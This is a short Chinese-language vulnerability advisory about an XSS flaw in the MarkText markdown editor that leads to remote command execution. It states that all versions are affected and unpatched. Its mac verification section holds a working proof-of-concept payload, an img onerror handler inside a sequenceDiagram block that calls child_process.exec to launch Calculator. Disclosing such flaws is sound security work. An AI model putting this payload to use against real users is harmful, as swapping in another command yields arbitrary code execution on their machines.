marktext编辑器XSS触发RCE命令执行
遵纪守法
任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得危害网络安全，不得利用网络从事危害国家安全、荣誉和利益
漏洞描述
marktext编辑器XSS触发RCE命令执行
风险等级
高危
影响版本
marktext目前所有版本均受影响
资产确定
漏洞验证
windows
sequenceDiagram
B ->> S:
hello ->> B:
**mac**
sequenceDiagram
B ->> S: <img src=1 onerror="require('child_process').exec('open /System/Applications/Calculator.app')">
hello ->> B: 
修复方案
目前尚未修复
